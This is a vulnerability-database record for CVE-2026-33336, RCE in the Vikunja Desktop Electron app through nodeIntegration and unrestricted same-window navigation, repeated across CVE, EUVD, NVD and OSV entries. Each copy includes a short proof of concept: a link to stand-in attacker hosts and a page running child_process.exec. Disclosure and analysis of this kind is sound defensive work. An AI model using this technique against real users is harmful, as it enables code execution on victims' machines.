{"id":"CVE-2026-33336","aliases":["EUVD-2026-14911","GHSA-83w9-9jf6-88vf"],"status":"published","title":"Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation","description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","severity":{"version":"4.0","score":6.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01159,"percentile":0.67325,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-94"],"published":"2026-03-24T15:16:14Z","modified":"2026-10-28T02:31:15Z","products":[{"vendor":"go-vikunja","product":"vikunja"},{"vendor":"vikunja","product":"vikunja"}],"references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory"]},{"url":"https://vikunja.io/changelog/vikunja-v2.2.0-was-released","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33336.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33336","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-33336","title":"Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation","description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","status":"published","published":"2026-03-24T15:16:14.681Z","modified":"2026-03-24T17:44:50.761Z","cvss":[{"version":"4.0","score":6.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"medium","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14911","description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","status":"published","published":"2026-03-24T15:16:14Z","modified":"2026-03-24T17:44:50Z","cvss":[{"version":"4.0","score":6.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"medium"}],"updated_at":"2026-11-02T19:25:29.933437Z"}],"nvd":[{"id":"CVE-2026-33336","description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","status":"published","published":"2026-03-24T16:16:33.387Z","modified":"2026-06-17T10:37:20.49Z","cvss":[{"version":"4.0","score":6.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33336","title":"Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation","description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","status":"published","published":"2026-03-24T15:16:14.681Z","modified":"2026-10-28T02:31:15.087334055Z","cvss":[{"version":"4.0","score":6.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"medium"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:01.896044Z"}]}}